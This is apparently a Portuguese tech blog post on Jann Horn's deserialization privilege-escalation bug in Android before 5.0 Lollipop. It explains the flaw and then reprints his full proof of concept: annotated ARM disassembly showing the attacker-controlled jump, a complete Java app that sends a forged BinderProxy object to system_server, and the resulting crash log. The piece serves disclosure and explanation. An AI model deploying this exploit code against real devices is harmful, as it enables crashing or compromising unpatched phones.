Vulnerabilidades · 5 min read · Jan 31, 2026

Uma falha dos criadores do Android deixa quase todos os dispositivos Android fabricados até hoje vulneráveis

Table Of Contents

  • Uma falha dos criadores do Android deixa quase todos os dispositivos Android fabricados até hoje vulneráveis
  • Falha na Serialização
  • Motivação
  • Prova de Conceito

Uma falha dos criadores do Android deixa quase todos os dispositivos Android fabricados até hoje vulneráveis

Jann Horn, um pesquisador, descobriu uma prova de conceito de vulnerabilidade no Android que poderia permitir que um atacante novato atacasse o sistema muito facilmente. Aparentemente, essa vulnerabilidade foi uma falha dos desenvolvedores quando estavam criando a versão inicial do Android e nunca foi corrigida. Depois que Horn tornou a falha conhecida, o Google lançou um patch, mas ele está disponível apenas na versão mais recente do Android Lollipop 5.0. Isso significa que todos os Androids sob o sol que estão rodando uma versão anterior ao Lollipop 5.0 são vulneráveis a essa falha de Escalamento de Privilégios.

Falha na Serialização

A serialização é um processo pelo qual os dados de um aplicativo são convertidos em bytes e armazenados em um armazenamento físico. O reverso, a deserialização, é o processo de converter esses dados em algo útil para o aplicativo. Como você pode imaginar, esse é um processo muito importante para qualquer aplicativo, especialmente para fazer backups. “O serviço do sistema Android é executado sob UID 1000 e pode mudar para o contexto de qualquer aplicativo, instalar novas aplicações com permissões arbitrárias, e assim por diante,” explica Horn.

Em palavras simples, o Android não tem um mecanismo para verificar se os dados que estão sendo fornecidos a ele durante a deserialização vêm de uma fonte confiável ou não. Portanto, um atacante pode inserir seus próprios dados no sistema explorando essa falha. Para aqueles que são mais tecnicamente inclinados, “java.io.ObjectInputStream” é o método que pode ser explorado.

Motivação

Horn teve a ideia de que tal vulnerabilidade poderia existir após participar de uma palestra universitária sobre vulnerabilidades de aplicações web em PHP. Ele presumiu que os desenvolvedores do Android também deveriam ter cometido um erro semelhante e esquecido de manter um controle de segurança. Certamente, suas suposições foram comprovadas corretas quando ele voltou e pesquisou o sistema operacional. E, felizmente, ele decidiu informar a equipe do Android sobre isso em vez de usá-la. Os desenvolvedores provavelmente perderam a falha, pois não é algo que você realmente testa.

A boa notícia é que a falha não pode ser usada diretamente devido às restrições internas do Android sobre privilégios. Portanto, um atacante é forçado a usar outra vulnerabilidade antes que ele possa usar esta. A equipe do Android lançou um patch para a falha no início de novembro como parte do lançamento do código AOSP (Android Open Source Project). Mas, como mencionamos, esse patch é apenas para o Android 5.0 Lollipop. E, uma vez que o ambiente Android é tão fragmentado, não podemos saber com certeza se o patch chegará a qualquer dispositivo além dos Nexus.

Prova de Conceito

A prova de conceito completa é dada abaixo :

A classe android.os.BinderProxy contém um método finalize que chama código nativo. Esse código nativo usará os valores de dois campos do tipo int/long (dependendo da versão do Android), os converterá em ponteiros e os seguirá. No Android 4.4.3, é aqui que um desses ponteiros termina. r0 contém o ponteiro fornecido pelo atacante, e se o atacante puder inserir dados no processo em um endereço conhecido, ele acaba ganhando execução de código arbitrário no system_server: # atacante controla ponteiro em r0 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # atacante controla r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # atacante controla r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # atacante controla r3 d1d8: 68da ldr r2, [r3, #12] # atacante controla r2 d1da: 4790 blx r2 # salta para o ponteiro r2 controlado pelo atacante O Android tem ASLR, mas como todos os aplicativos, o system_server é forkado do processo zygote – em outras palavras, todos os aplicativos têm o mesmo layout básico de memória que o system_server e, portanto, devem ser capazes de contornar o ASLR do system_server. Aqui está meu código de PoC de falha. Coloque-o em um aplicativo Android, instale esse aplicativo, abra-o. Se nada acontecer, o GC pode estar levando seu tempo – tente fazer outras coisas ou reabrir o aplicativo de PoC ou algo assim. Seu dispositivo deve fazer algo como reiniciar após alguns segundos. =============================================================================== package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “iniciando… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” classes internas encontradas”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“classe interna: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” classes internas encontradas”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“classe interna: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “esperando por boom aqui e no serviço do sistema…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

Isso é o que você deve ver no log do sistema: F/libc ( 382): Sinal fatal 11 (SIGSEGV) em 0x1337bef3 (código=1), thread 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, nome: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): sinal 11 (SIGSEGV), código 1 (SEGV_MAPERR), endereço de falha 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Recurso: Secure List

Share: X/Twitter LinkedIn

Receba novas postagens na sua caixa de entrada

Sem spam. Cancele a assinatura a qualquer momento.